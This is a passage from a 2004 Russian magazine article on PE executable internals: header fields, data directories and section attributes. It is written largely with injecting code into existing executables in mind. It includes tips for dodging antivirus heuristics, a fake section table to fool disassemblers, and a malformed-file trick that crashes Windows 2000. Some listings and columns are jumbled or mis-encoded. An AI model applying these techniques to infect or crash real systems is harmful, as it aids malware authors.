смещениям, отсчитываем от начала файла и при внедрении в файл чужеродного кода путем его расширения, отладочная информация перестает соответствовать действительности, и поведение отладчиков становится крайне неадекватным. Для решения проблемы существует три пути: ! скорректировать отладочную информацию (но для этого нужно знать ее формат); ! отрезать отладочную информацию от файла (но для этого ее надо найти, кроме того, за концом файла может быть расположен посторонний оверлей); ! установить флаг IMAGE_FILE_DEBUG_STRIPPED. Последний способ самый простой, но и самый надежный. Соответственно для восстановления пораженных объектов необходимо извлечь чужеродный код из тела файла и сбросить флаг IMAGE_FILE_DEBUG_STRIPPED, в противном случае отладчик не покажет исходный код отлаживаемого файла. Иначе ведет себя флаг IMAGE_FILE_RELOCS_STRIPPED, запрещающий перемещать файл, когда релокаций нет. Когда же они есть, загрузчик может с полным основанием не обращать на него внимания. Зачем же тогда этот атрибут нужен? Ведь переместить файл без таблицы перемещаемых элементов все равно невозможно… А вот это еще как сказать! Служебные структуры PE-файла используют только относительную адресацию и потому любой PE-файл от рождения уже перемещаем. Вся загвоздка в программном коде, активно использующем абсолютную адресацию (ну так уж устроены современные компиляторы). Технически ничего не стоит создать PE-файл, не содержащий перемещаемых элементов и способный работать по любому адресу (давным-давно, когда землей
№6(19), июнь 2004
владели динозавры и никаких операционных систем еще не существовало, этим мог похвастать практически каждый). Таким образом, возникает неоднозначность: то ли перемещаемых элементов нет, потому что файл полностью перемещаем и fixup ему не нужны, то ли они просто недоступны и перемещать такой файл ни в коем случае нельзя. По умолчанию ms link версии 6.0 и старше внедряет перемещаемые элементы только в DLL, а исполняемые файлы сходят с конвейера неперемещаемыми, однако рассчитывать на это нельзя и при внедрении собственного кода в чужеродный PE-файл необходимо удостовериться, что он не содержит перемещаемых элементов, в противном случае возникают следующие программы: ! ваш код не может закладываться на image base и должен быть готов к загрузке по любому адресу; ! модификация ячеек, относящихся к перемещаемым элементам, обычно заканчивается крахом программы, поскольку они автоматически «исправляются» системным загрузчиком. Допустим, в программе был код типа: mov eax, 0400000h (B8 00 00 40 00), поверх которого мы начертали: push ebp/ mov ebp, esp (55/8B EC). Допустим также, что в силу некоторых причин базовый адрес загрузки изменился с 40.00.00h на 1.00.00.00h. Ячейка памяти, ранее хранящая непосредственный операнд инструкции mov, будет переделана в 1.00.00.00h, что превратит команду mov ebp, esp в add [eax], al со всеми вытекающими отсюда последствиями. Существует по меньшей мере три пути решения этой проблемы: ! убить fixup (но тогда файл станет неперемещаемым, а ведь некоторые исполняемые файлы подспудно экспортируют одну или несколько функций и без fixup не смогут работать); ! перезаписывать только неперемещаемые ячейки (но это приведет к размазыванию кода по всему файлу, существенно усложняя его алгоритм); ! обрабатывать перемещаемые элементы самостоятельно, чтобы система могла перемещать файл при необходимости, но не корежила наш код, подсуньте ей пустую таблицу перемещаемых элементов (подробнее см. «Перемещаемые элементы»).
[image_optional_header] Magic Состояние отображаемого файла. Если здесь будет чтото отличное от 10Bh (сигнатура исполняемого отображения), файл не загрузится. PE64-файлам соответствует сигнатура 20Bh (все адреса у них 64-разрядные), а в остальном они ведут себя как и нормальные 32-разрядные PE-файлы.
[image_optional_header] SizeOfCode/ SizeOfInitializedData/SizeOfUninitializedData Суммарный размер секций кода, инициализированных и неинициализированных данных (т.е. секций, имеющих атрибуты IMAGE_SCN_CNT_CODE/20h, IMAGE_SCN_CNT_ INITIALIZED_DATA/40h и IMAGE_SCN_CNT_UNINITIALIZED_
59
программирование DATA/80h), никем не проверяется и может принимать любые, в том числе и заведомо бессмысленные, значения. Всякий линкер заполняет эти поля по-своему: одни берут физический размер секций на диске, другие – виртуальный размер в памяти, выровненный по границе Section Alignment, причем алгоритм определения принадлежности секции к тому или иному типу не стандартизирован и в полку разработчиков наблюдается большой разброд и шатание. Наиболее демократичное сословие определяет «родословную» по принципу OR (т.е. секция с атрибутами 60h считается и секцией кода, и секцией данных). Иначе действует аристократическая прослойка, придерживающаяся принципа XOR и относящая к данным только секции с атрибутами 40h (80h?). Для секции кода сделано некоторое послабление (ведь всякий код на каком-то этапе обработки представляется данными) и секция с атрибутами 60h или A0h все-таки относится к коду (в противном случае образовались бы неклассифицируемые секции, размер которых не был подсчитан, а этого допускать нельзя – религия не велит). Как бы там ни было, системному загрузчику на это глубоко наплевать (давным-давно, когда секции кода, данных и неинициализированных данных помещались в «свои» сегменты, эти поля еще имели какой-то смысл, но сейчас это рудиментный пережиток старины).
[image_optional_header] BaseOfCode/ BaseOfData Относительные базовые адреса кодовой секции и секции данных. Никем не проверяется и всяким компоновщиком заполняется по-своему. Для восстановления душевного равновесия оба поля можно смело сбросить в ноль, отдавая дань древним буддийским традициям.
[image_optional_header] AddressOfEntryPoint Относительный адрес точки входа, отсчитываемый от начала Image Base. Может указывать в любую точку адресного пространства, в том числе и не принадлежащую страничному имиджу (например, направленную на какую-нибудь функцию внутри ядра или dll). Для передачи управления на адреса, лежащие ниже Image Base, можно использовать целочисленное переполнение. Правда, не факт, что все загрузчики поймут нас правильно (NT поймет точно, остальные не проверял), так что закладываться на это нельзя. Если точка входа направлена на заголовок или последнюю секцию файла, антивирусы начинают обвинять файл в зараженности вирусом, поэтому во избежание недоразумений точку входа лучше всего располагать в первой секции файла, которой по обыкновению является кодовая секция .text. Для exe-файлов точка входа соответствует адресу, с которого начинается выполнение и не может быть равна нулю, а для динамических библиотек – функции диспетчера, условно называемой нами DllMain, хотя на самом деле при компоновке dll с настройками по умолчанию компоновщик внедряет стартовый код, перехватывающий на себя управление и вызывающий «настоящую» DllMain по своему желанию. DllMain вызывается при следующих об-
60
стоятельствах – загрузка/выгрузка dll и создание/уничтожение потока, если точка входа в dll равна нулю, функция DllMain не вызывается. Обязательно учитывайте это при внедрении собственного кода в dll! Чтобы отличить dll от обычных файлов, следует проанализировать поле характеристик (см. «Characteristics»). Опираться на наличие/отсутствие таблицы экспорта ни в коем случае нельзя, поскольку экспортировать функции могут не только динамические библиотеки, но исполняемые файлы! К тому же иногда встречаются динамические библиотеки, не экспортирующие ни одной функции.
[image_optional_header] ImageBase Базовый адрес загрузки страничного имиджа, измеряемый в абсолютных адресах, отсчитываемых от начала сегмента или, в терминологии оригинальной спецификации, preferred address (предпочтительный адрес загрузки). При наличии таблицы перемещаемых элементов файл может быть загружен по адресу, отличному от указанного в заголовке. Это происходит в тех случаях, когда требуемый адрес занят системой, динамической библиотекой или загрузчику захотелось что-то подвигать. Если предпочтительный адрес совпадает с адресом уже загруженной системной библиотеки, поведение последней становится неадекватной. Отладчик, интегрированный в Microsoft Visual Studio, запущенный под управлением NT, проскакивает точку входа и умирает где-то в окрестностях ядра (отлаживамая программа при этом продолжает исполняться). Под Windows 98 такие файлы отлаживаются вполне нормально, но при выходе из Windows уводят ее в астрал. Менять чужой Image Base ни в коем случае нельзя, т.к. перемещаемым элементам в этом случае будет просто не отчего отталкиваться. И хотя системный загрузчик в большинстве случаев загрузит такой файл вполне нормально, работать он не сможет, ну во всяком случае до тех пор, пока все перемещаемые элементы не будут скорректированы надлежащим образом.
[image_optional_header] FileAlignment/ SectionAlignment Кратность выравнивания секций на диске и в памяти. Очень интересное поле! Официально о кратности выравнивания известно лишь то, что она представляет собой степень двойки, причем: ! Section Alignment должно быть больше или равно 1000h байт; ! File Alignment должно быть больше или равно 200h байт; ! Section Alignment должно быть больше или равно File Alignment. Если хотя бы одно из этих условий не соблюдается, файл не будет загружен. В Windows NT существует недокументированная возможность отключения выравнивания, основанная на том, что загрузку прикладных исполняемых файлов/динамических библиотек и системных драйверов обрабатывает один и тот же загрузчик.
программирование Если Section Alignment == File Alignment, то последнее может принимать любое значение, представляющее собой степень двойки (например, 20h). Условимся называть такие файлы «невыровненными». Хотя этот термин не вполне корректен, лучшего пока не придумали. К невыровненным файлам предъявляется следующее, достаточно жесткое требование – виртуальные и физические адреса всех секций обязаны совпадать, т.е. страничный имидж должен полностью соответствовать своему дисковому образу. Впрочем, никакое правило не обходится без исключений, и виртуальный размер секций может быть меньше их физического размера, но не более чем Section Alignment – 1 байт (т.е. секция все равно будет выровнена в памяти). Самое интересное, что это данное правило рекурсивно, и даже среди исключений встречаются исключения – если физический размер последней секции вылетает за пределы загружаемого файла, операционная система выбрасывает голубой экран смерти и… погибает (во всяком случае, w2k sp3 ведет себя именно так, остальные не проверял). Полномочия администратора для этого не требуются и даже самая ничтожная личность может устроить грандиозный DoS. Операционные системы семейства Windows 9x не способны обрабатывать невыровненные файлы и с возмущением отказывают им в загрузке, выплевывая целых два диалоговых окна. Впрочем, ареал обитания Windows 9x неуклонно сокращается, и будущее принадлежит NT. Для создания невыровненных файлов можно воспользоваться линкером от Microsoft, задав ему ключ /ALIGN:32 совместно с ключом /DRIVER. Без ключа /DRIVER ключ /ALIGN будет проигнорирован и линкер использует кратность выравнивания по умолчанию.
какая-то часть секции оказалась бы спроецированной на область памяти, принадлежащей заголовку, а это недопустимо, ибо ни на какую страницу файла не может отображаться более одного сектора одновременно). Обычно SizeOfHeaders устанавливается на конец Section Table, однако это не самое лучшее решение. Судите сами. Совокупный размер всех заголовков при стандартной MSDOS заглушке составляет порядка ~300h байт или даже менее того, в то время как физический адрес первой секции – от 400h байт и выше. Отодвинуть секцию назад нельзя – выравнивание не позволяет (см. «FileAlignment/ SectionAlignment»). Правда, если вынуть MS-DOS заглушку, можно ужать SizeOfHeaders до 200h байт, в аккурат перед началом первой секции, но это уже изврат. Короче говоря, если следовать рекомендациям от Microsoft, ~100h байт мы неизбежно теряем, что не есть хорошо. Вот некоторые линкеры и размещают здесь таблицу имен, содержащую перечень загружаемых DLL или что-то типа того. Поэтому, чтобы ненароком не нарваться на коварный конфликт, лучше всего подтянуть SizeOfHeaders к min(pFirstSection->RawOffset, pFirstSection->va). Некоторые нехорошие программы (вирусы, упаковщики, дамперы) устанавливают SizeOfHeader на raw offset первой секции, что неправильно. Между концом всех заголовков и физическим началом первой секции может быть расположено любое, кратное File Alignment, количество байт, например, 1 гигабайт, и это при том, что виртуальный адрес первой секции – 1000h. Как такое может быть? А очень просто – SizeOfHeaders <= 1000h и остаток нашего гигабайта не читается и не проецируется в память, поэтому никаких конфликтов и не возникает. Что может быть в этом гигабайте? Ну, например, хитрый оверлей, внедренный тем же вирусом (и такие вирусы уже есть).
Ëèñòèíã 3. Ìàêðîñû äëÿ âûðàâíèâàíèÿ ñ îêðóãëåíèåì «âíèç» è «ââåðõ» #define #define #define ((x
Is2power(x) (!(x & (x-1))) ALIGN_DOWN(x, align) (x & ~(align-1)) ↵ ALIGN_UP(x, align) & (align-1))?ALIGN_DOWN(x,align)+align:x)
[image_optional_header] SizeOfImage Размер страничного имиджа, выровненный на величину Section Alignment. Размер страничного имиджа всегда равен виртуальному адресу последней секции плюс ее размер (выровненный, виртуальный). Если размер страничного образа вычислен неправильно, файл не загружается. Ëèñòèíã 4. Ìàêðîñ äëÿ âû÷èñëåíèÿ ðåàëüíîãî ðàçìåðà ñòðàíè÷íîãî èìèäæà #define xImageSize(p) (*(DWORD*)(pLastSection(p) + 0xC ↵ /* va */) + ALIGN_UP(*(DWORD*)(pLastSection(p) + 0x8 ↵ /* v_sz */), xObjectAlign(p)))
[image_optional_header] CheckSum Контрольная сумма файла. Проверяется только NT, да и то лишь при загрузке некоторых системных библиотек и, разумеется, самого ядра. Алгоритм расчета можно найти в IMAGEHEL.DLL функция CheckSumMappedFile. По слухам, ее исходные тексты входят в SDK. У меня есть SDK, но ничего подобного я там не видел (может, плохо искал?). Впрочем, алгоритм расчета тривиален и декомпилируется на ура.
[image_optional_header] Subsystem Требуемая подсистема, которую операционная система должна предоставить файлу. Может принимать следующие значения:
00h IMAGE_SUBSYSTEM_UNKNOWN: Неизвестная подсистема, файл не загружается.
[image_optional_header] SizeOfHeaders
n01h IMAGE_SUBSYSTEM_NATIVE:
Суммарный размер всех заголовков, сообщающий загрузчику, сколько байт читать от начала файла. С этим полем связано два ограничения: во-первых, SizeOfHeaders должен быть выбран так, чтобы загрузчик считал все, что ему необходимо прочитать, а во-вторых, он не может превышать RVA первой секции (поскольку в противном случае
Подсистема не требуется, файл исполняется в «родном» окружении ядра и скорее всего представляет собой драйвер устройства. Обычным путем не загружается, если вы пишете вирус/упаковщик/протектор, ни в коем случае не обрабатывайте таких файлов, если только точно не уверены, в том, что вы делаете. Внимание: при загрузке драйве-
№6(19), июнь 2004
61
программирование ров Windows игнорирует поле подсистемы и оно может быть любым, поэтому, если Subsystem != IMAGE_SUBSYSTEM_ NATIVE это еще не значит, что данный файл не является драйвером.
раз, 2000h – загружать драйвер как WDM драйвер; 8000h – файл поддерживает работу под терминальным сервером. Экспериментальная проверка показала, что W2K игнорирует эти флаги.
02h IMAGE_SUBSYSTEM_WINDOWS_GUI:
[image_optional_header] SizeOfStackReserve/ SizeOfStackCommit, SizeOfHeapReserve/ SizeOfHeapCommit
Графическая win32 подсистема. Операционная система загружает файл нормальным образом, ну а дальше пусть все, что ему нужно, добываем сам.
03h IMAGE_SUBSYSTEM_WINDOWS_CUI: Терминальная (она же консольная) win32 подсистема. То же самое, что и IMAGE_SUBSYSTEM_WINDOWS_GUI, но в этом случае файлу на халяву достается автоматически создаваемая консоль с готовыми дескрипторами ввода/ вывода. Вообще говоря, разница между консольными и графическими приложениями очень условна – консольные приложения могут вызывать GUI32/USER32-функции, а графические приложения – открывать одну или несколько консолей (например, в отладочных целях). Кстати говоря, с этим связана одна забавная проблема, с которой сталкиваются многие «программисты», пытающиеся подавить создание ненужного им окна (ну мало ли, может они шпиона какого пишут, а это окно его демаскирует). Предотвратить автоматическое создание окна очень просто – достаточно… не создавать его!
05h IMAGE_SUBSYSTEM_OS2_CUI: Подсистема OS/2. Только для приложений OS/2 (одним из которых, кстати говоря, является всем известный HIEW) и только для Windows NT. Windows 9x не может обрабатывать такие файлы.
07h IMAGE_SUBSYSTEM_POSIX_CUI: Подсистема POSIX. Только для приложений UNIX и только для Windows NT.
09h IMAGE_SUBSYSTEM_WINDOWS_CE_GUI:
Объем зарезервированной/выделенной памяти под стек/ кучу в байтах. Если SizeOfCommit > SizeOfReverse файл не загружается. Ноль обозначает значение по умолчанию.
[image_optional_header] NumberOfRvaAndSizes Количество элементов (не байт) в DATA_DIRECTORY, следующей непосредственно за этим полем. Из-за грубых ошибок в системном загрузчике компоновщики от Borland и Microsoft всегда выставляют полный размер директории, равный 10h, даже если реально его не используют. Например, Windows 9x не проверяет, что NumberOfRva AndSizes >= RELOCATION и/или RESOURCE и если подсунуть ему запрос к одной из этих секций, а таких директорий нет – это конец. Windows NT не проверяет (при загрузке dll) «достаточности» TLS_DIRECTORY и если этот TLS-механизм активирован, а TLS-директории нет – опять кранты. Компоновщик Юрия Харона выгодно отличается тем, что усекает размер директории до минимума, но и кода вокруг процедуры «сокращений» там строк пятьсот, а уж сколько времени было убито в ИДЕ… Есть и другая проблема. По спецификации DATA_DIRECTORY располагается в самом конце опционального заголовка и непосредственно за его концом начинается таблица секций. Таким образом, указатель на таблицу секций может быть получен либо так: ((BYTE*) ((*((WORD*)(p + 0x14 /* size of optional ↵ header */)))+ 0x18 /* size of image header */ + p))
Файл предназначен для исполнения в среде Windows CE. Ни Windows NT, ни Windows 9x не могут обрабатывать такие файлы.
либо так:
0Ah MAGE_SUBSYSTEM_EFI_APPLICATION:, 0Bh IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER:, 0Ch IMAGE_ SUBSYSTEM_EFI_RUNTIME_DRIVER:
Системный загрузчик использует первый способ и допускает, что между DATA_DIRECTORY и SECTION_TABLE может быть расположено некоторое количество «бесхозных» байт. Некоторые дизассемблеры и упаковщики считают иначе и ищут SECTION_TABLE непосредственно за концом DATA_DIRECTORY. Вот и давайте подсунем им подложную SECTION_TABLE! Пускай их авторы почаще заглядывают в WINNT.H, который недвусмысленно говорит, что:
Подсистема EFI (Extensible Firmware Initiative).
[image_optional_header] DllCharacteristics Очень странное поле. Мэтт Питрек пишет, что оно определяет набор флагов, указывающих, при каких условиях точка входа в DLL получает управление (как то, загрузка dll в адресное пространство процесса, создание/завершение нового потока и выгрузка dll из памяти). В спецификации на PE-формат эти поля помечены как зарезервированные и Windows игнорирует их значение, поэтому у большинства файлов оно равно нулю. Согласно спецификации 6.0 от 1999 года (самой свежей спецификации на сегодняшний день), загрузчик должен поддерживать и другие флаги: 800h – не биндить об-
62
((BYTE*) ( (*((DWORD*)(p+0x74 /* NumRVAandSize */)))* ↵ 8 + 0x78 /* begin DATA_DIRECTOTY */+ p))
#define IMAGE_FIRST_SECTION( ntheader ) ((PIMAGE_SECTION_HEADER) ↵ ((ULONG_PTR)ntheader + ↵ FIELD_OFFSET( IMAGE_NT_HEADERS, OptionalHeader ) + ↵ ((PIMAGE_NT_HEADERS)(ntheader))-> ↵ FileHeader.SizeOfOptionalHeader ↵ ))
…так что лезть дизассемблером в системный загрузчик совсем необязательно!
программирование DATA DIRECTORY
ми и дебеггерами. Использует RVA- и RAW OFFSET-адресацию. Системный загрузчик ее игнорирует.
00h IMAGE_DIRECTORY_ENTRY_EXPORT: Указатель на таблицу экспортируемых функций и данных (далее по тексту просто функций). Встречается преимущественно в динамических библиотеках и драйверах, однако заниматься экспортом товаров может и рядовой исполняемый файл. Использует RVA- и VA-адресацию (подробнее см. «Экспорт»).
07h IMAGE_DIRECTORY_ENTRY_ARCHITECTURE:
Указатель на таблицу импортируемых функций, используемую для связи файла с внешним миром, и активируемую системным загрузчиком, когда все остальные механизмы импорта недоступны. Использует RVA- и VA-адреса (подробнее см. «Импорт»).
Он же «description». На I386-платформе, судя по всему, предназначен для хранения информации о копирайтах (на это, в частности, указывает определение IMAGE_DIRECTORY_ ENTRY_COPYRIGHT, данное в WINNT.H), за формирование которых отвечает ключ –D, переданный Багдадскому линкеру ilinlk32.exe, при этом в IMAGE_DIRECTORY_ENTRY_ ARCHITECTURE помещается RVA-указатель на строку комментариев, по умолчанию располагающуюся в секции .text. Компоновщик ms link при некоторых до конца не выясненных обстоятельствах помещает в это поле информацию об архитектуре, однако системный загрузчик ее никогда не использует.
02h IMAGE_DIRECTORY_ENTRY_RESOURCE:
08h IMAGE_DIRECTORY_ENTRY_GLOBALPTR:
Указатель на таблицу ресурсов, хранящую строки, пиктограммы, курсоры, диалоги и прочие кирпичики пользовательского интерфейса (хотя какие это кирпичики? настоящие бетонные блоки!). Таблица ресурсов организована в виде трехуровневого двоичного дерева, слишком запутанного и разлапистого, чтобы его было можно привести здесь, но, к счастью, использующего только RVA-адресацию, т.е. нечувствительного к смещению «своей» секции (а это как правило секция .rsrc) внутри файла. Однако, если вы вздумаете править RVA (например, для внедрения новой секции в середину страничного имиджа или переносу image base), вам придется основательно потрудиться с этой структурой, подробное описание которой, кстати говоря, можно найти в уже упомянутой статье «The Portable Executable File Format from Top to Bottom».
Указатель на таблицу регистров глобальных указателей. Используется только на процессорах ALPHA и PowerPC. На I386-платформе это поле лишено смысла, и загрузчик его игнорирует.
01h IMAGE_DIRECTORY_ENTRY_IMPORT:
03h IMAGE_DIRECTORY_ENTRY_EXCEPTION: Указывает на exception directory (директорию исключений), обычно размещаемую в секции .pdata (хотя это и необязательно). Используется только на следующих архитектурах: MIPS, Alpha32/64, ARM, PowerPC, SH3, SH, WindowsCE. К микропроцессорам семейства Intel это не относится и IX386-загрузчик игнорирует это поле, поэтому оно может принимать любое значение.
04h IMAGE_DIRECTORY_ENTRY_SECURITY: Указывает на Certificate Table (таблицу сертификатов), располагающуюся строго в .debug-секции и адресуемой не по RVA-адресам, а по физическим смещениям внутри файла (так происходит потому, что таблица сертификатов не грузится в память и обитает исключительно на диске). Если IMAGE_DIRECTORY_ENTRY_SECURITY != 0, ни в коем случае не пытайтесь внедрять в файл посторонний код, иначе он откажет в работе.
05h IMAGE_DIRECTORY_ENTRY_BASERELOC: Он же fixup, использует RVA-адреса (см. «Перемещаемые элементы»).
06h IMAGE_DIRECTORY_ENTRY_DEBUG: Отладочная информация, используемая дизассемблера-
№6(19), июнь 2004
09h IMAGE_DIRECTORY_ENTRY_TLS: Хранилище статической локальной памяти потока (Thread Local Storage). TLS-механизм обеспечивает «прозрачную» работу с глобальными переменными в многопоточных средах без риска, что переменная в самый неподходящий момент будет модифицирована другим потоком. Сюда попадают переменные, объявленные как __declspec(thread). По причине большой причудливости и крайней тяжеловесности реализации (один шаг в сторону и операционная система стреляет без предупреждения) используется крайне редко. К тому же Windows NT и Windows 9x обрабатывают это поле сильно неодинаково. Хранилище обычно размещается в секции .tls, хотя это и необязательно. Использует RVA- и VA-адреса.
10h IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG: Содержит информацию о конфигурации глобальных флагов, необходимых для нормальной работы программы, имеет смысл только в Windows NT и производных от нее системах. Это поле практически никем не используется, но если возникнет желание узнать о нем больше – см. прототип структуры IMAGE_LOAD_CONFIG_DIRECTORY32 в WINNT.h, а также ее описание в Platform SDK. За описанием самих флагов обращайтесь к утилите gflags.exe, входящей в состав Resource Kit и NTDDK. Информация о конфигурации использует VA-адресацию (точнее, пока еще не использует, но резервирует эту возможность на будущее).
11h IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT: Указатель на таблицу диапазонного импорта, имеющую приоритет над IMAGE_DIRECTORY_ENTRY_IMPORT и обрабатываемую загрузчиком в первую очередь (зачастую, до IMAGE_DIRECTORY_ENTRY_IMPORT дело вообще не доходит). По устоявшейся традиции таблица диапазонного импорта размещается в PE-заголовке, хотя это и необязательно, и некоторые линкеры ведут себя иначе.
63
программирование Используется RVA- и RRAW OFFSET-адресация (подробнее см. «Импорт»).
12h IMAGE_DIRECTORY_ENTRY_IAT: Указатель на IAT (подчиненная структура таблицы импорта). Используется загрузчиком Windows XP, остальные операционные системы это поле, по-видимому, игнорируют (подробнее см. «Импорт»).
13h IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT: Указатель на таблицу отложенного импорта, использующую RVA/VA-адресацию, но фактически остающуюся не стандартизированной и отданной на откуп воле конкретных реализаторов (подробнее см. «Импорт»).
14h IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR: Если не равно нулю, то файл представляет собой .NET-приложение, состоящее из байт-кода, поэтому попытка внедрения в него x86 никогда ничего хорошего не принесет.
Таблица секций Четкого определения термина «секция» не существует. Упрощенно говоря, секция – это непрерывная область памяти внутри страничного имиджа со своими атрибутами, независящими от атрибутов остальных секций. Представление секции в памяти не обязательно должно совпадать с ее дисковым образом, который в принципе может вообще отсутствовать (секциям неинициализированных данных нечего делать на диске, и потому они представлены исключительно в памяти). Каждая секция управляется «своей» записью в одноименной структуре данных, носящей имя «таблицы секций». Таблица секций начинается сразу же за концом опционального заголовка, размер которого содержится в поле SizeOfOptionalHeader, и представляет собой массив структур IMAGE_SECTION_HEADER, количество задается полем NumberOfSection. Порядок секций может быть любым, но системный загрузчик оптимизирован под следующую последовательность: сначала идет кодовая секция, за ней следует одна или несколько секций инициализированных данных и замыкает строку секция неинициализированных данных. Структура IMAGE_SECTION_HEADER состоит из следующих полей: Ëèñòèíã 5. Ïðîòîòèï ñòðóêòóðû IMAGE_SECTION_HEADER typedef struct _IMAGE_SECTION_HEADER { BYTE Name[IMAGE_SIZEOF_SHORT_NAME]; union { DWORD PhysicalAddress; DWORD VirtualSize; } Misc; DWORD VirtualAddress; DWORD SizeOfRawData; DWORD PointerToRawData; DWORD PointerToRelocations; DWORD PointerToLinenumbers; WORD NumberOfRelocations; WORD NumberOfLinenumbers; DWORD Characteristics; } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
Поле Name представляет собой 8-байтовый массив с ASCII-именем секции внутри (именно именем, а не указа-
64
телем на имя!). Если длина имени меньше восьми байт, остающийся хвост дополняется нулями, если же имя занимает весь массив целиком, завершающий нуль в его конце не ставится (некоторые дизассемблеры не учитывают этого обстоятельства и захватывают примыкающий к массиву мусор). Само по себе имя секции не несет никакого метафизического смысла и было введено в эксплуатацию исключительно из эстетических соображений. Системный загрузчик его игнорирует, хотя некоторые вирусы/протекторы/упаковщики распознают «свои» секции только так, и всякое искажение имени валит их наповал. Ходят слухи по поводу того, что библиотека oleaut32.dll, входящая в состав Windows, опознает секцию ресурсов по ее имени, а не по записи в DATA_DIRECTORY. В исходных текстах популярного упаковщика UPX присутствует следующий комментарий: «…after some windoze debugging I found that the name of the sections DOES matter .rsrc is used by oleaut32.dll (TYPELIBS) and because of this lame dll, the resource stuff must be the first in the 3rd section – the author of this dll seems to be too idiot to use the data directories... ...even worse: exploder.exe in NiceTry also depends on this to locate version info». Дизассемблирование подтверждает, что библиотека oleaut32.dll действительно содержит внутри себя текстовую строку «.rsrc» и активно ее использует. Да мало ли на свете идиотов, привязывающихся к имени секций? Поэтому без особой нужды имена секций чужого файла лучше не изменять. Поля VirtualAddress и PointerToRawData содержат RVAадрес начала секции в памяти и ее смещение относительно начала файла соответственно. Виртуальный и физический адреса должны быть выровнены на величину Section Alignment/File Alignment, прописанную в опциональном заголовке, причем виртуальный адрес первой секции должен быть равен ALIGN_UP(SizeOfHeaders, Section Alignment), в противном случае файл не загрузится. Физический адрес секции может быть любым, достаточно только, чтобы он был выровнен на величину File Alignment. Поля VirtualSize и SizeOfRawData содержат виртуальную и физическую длину секции соответственно. Вот тут-то и начинается самое интересное! Если виртуальный размер больше физического, то при загрузке секции в память ее хвост заполняется нулями, при этом наличие атрибута инициализированных/неинициализированных данных совершенно необязательно. Если физический размер больше виртуального, то… единственное, что можно сказать с уверенностью, такой файл будет нормально загружен в память. Как? А вот это уже зависит от реализации! Начнем с того, что нулевой виртуальный размер предписывает загрузчику отталкиваться от физического размера секции, предварительно округлив его на величину Section Alignment и заполнив хвост нулями. Все промежуточные состояния неопределенны – загрузчик может считать: ! ровно Virtual Size байт; ! ALIGN_UP(Virtual Size, File Alignment) байт; ! ALIGN_UP(Virtual Size, Phys Sector Size) байт. Вообще-то все пункты, кроме первого, – грубые ошибки реализации, но и… суровая реальность бытия вместе
программирование с тем, поэтому таких ситуаций лучше всего избегать. Физический размер должен быть выровнен на величину File Alignment, выравнивать виртуальный размер необязательно (загрузчик выравнивает его автоматически). Однако и это правило не обходится без исключений: если физический размер меньше или равен виртуальному, то и его выравнивать необязательно, правда, смысла в этом немного, поскольку начало следующей секции в файле в любом случае должно быть выровнено на величину File Align. Виртуальный адрес следующей секции обязательно должен быть равен виртуальному адресу предыдущей секции плюс ее размер, выровненный на величину Section Alignment. Секции не могут ни перекрываться, ни образовывать виртуальные дыры. На физические адреса секций таких ограничений не наложено, и они могут быть разбросаны по файлу в живописном беспорядке. Впрочем, увлекаться разбрасыванием право же не стоит – не ровен час системный загрузчик запутается и откажет файлу в загрузке, если еще не выпадет в синий экран. Кстати, насчет синих экранов. Напомним читателю, что если Section Alignment < 1000h, а физический размер секции вылетает за пределы файла, W2K SP3 (и, вероятно, все остальные представители линейки NT) выбрасывает синий экран, и системе наступает конец. Поле Characteristics определяет атрибуты доступа к секции и особенности ее загрузки. Имеется три атрибута, как будто бы определяющих содержимое секции как код, инициализированные и неинициализированные данные (IMAGE_SCN_CNT_CODE/20h, IMAGE_SCN_CNT_INITIALIZED_ DATA/40h, IMAGE_SCN_CNT_UNINITIALIZED_DATA/80h соответственно). Однако системный загрузчик игнорирует их значение, и потому опираться на них ни в коем случае нельзя. Теоретически секция неинициализированных данных при отсутствии прочих атрибутов не должна грузиться с диска, но… ведь грузится! Некоторые вирусы/упаковщики/протекторы определяют кодовую секцию по наличию атрибута IMAGE_SCN_ CNT_CODE. Что ж! Не такое уж и плохое решение, только будьте готовы к тому, что этого атрибута не окажется ни у одной из секций (что встречается достаточно часто) либо же он будет присвоен секции данных (что встречается пореже, но все-таки встречается). Другая триада атрибутов описывает права доступа ко всем страницам секции, назначаемым системным загрузчиком по умолчанию (будучи загруженным, файл может свободно манипулировать ими, вызывая API-функцию VirtualProtectEx). В настоящее время определено три атрибута: исполнения, чтения и записи (IMAGE_SCN_MEM_ EXECUTE/20000000h, IMAGE_SCN_MEM_READ/40000000h, IMAGE_SCN_MEM_WRITE/80000000h). На платформе Intel атрибуты чтения/исполнения полностью эквивалентны и соответствуют аппаратному атрибуту доступности (accessible) страницы. Атрибут записи обрабатывается вполне естественным образом. Следовательно, отличить секцию кода от секции данных в общем случае невозможно и приходится действовать исподтишка, объявляя секцией кода ту, в которую указывает точка входа. Два других интересных атрибута это – IMAGE_SCN_
№6(19), июнь 2004
MEM_DISCARDABLE/2000000h (после загрузки файла секция может быть уничтожена в памяти) и IMAGE_SCN_ MEM_SHARED/10000000h (секция является совместно используемой). Атрибут IMAGE_SCN_MEM_DISCARDABLE обычно присваивается секциям, содержащим вспомогательные структуры данных, такие как, например, таблица перемещаемых элементов, необходимые лишь на этапе загрузки файла и впоследствии никем не используемые. А раз так – зачем они будут жрать память? Фатальная ошибка подавляющего большинства вирусов состоит в том, что, внедрясь в последнею секцию файла (коей как раз DISCARDABLE-секция обычно и оказывается), они не проверяют ее атрибутов, не «выкупают» права на память. Операционная система в любой момент может выгрузить оккупированные ими страницы и тогда инфицированный процесс рухнет, выдавая хорошо известное всем сообщение о критической ошибке приложения. Атрибут IMAGE_SCN_MEM_SHARED намного менее безобиден, но тоже с характером, и помещать сюда исполняемый код категорически не рекомендуется. Вопервых, в любой момент он может быть затерт посторонним процессом, и тогда зараженное приложение опять-таки рухнет, а во-вторых, Windows 9x насильно перегоняет SHARED-секции в верхнюю половину адресного пространства и действительный адрес загрузки уже не будет соответствовать виртуальному адресу секции (правда, полностью перемещаемый код в таких условиях вполне сможет работать). Остальные атрибуты либо неинтересны, либо имеют отношение только к объективным coff-файлам (не PE) и потому здесь не рассматриваются. Это, в частности, относится к атрибутам из семейства IMAGE_SCN_ALIGN_хBYTES, индивидуально настраивающим кратность выравнивания каждой секции. Для объективных файлов это, быть может, и так, но системный загрузчик эти 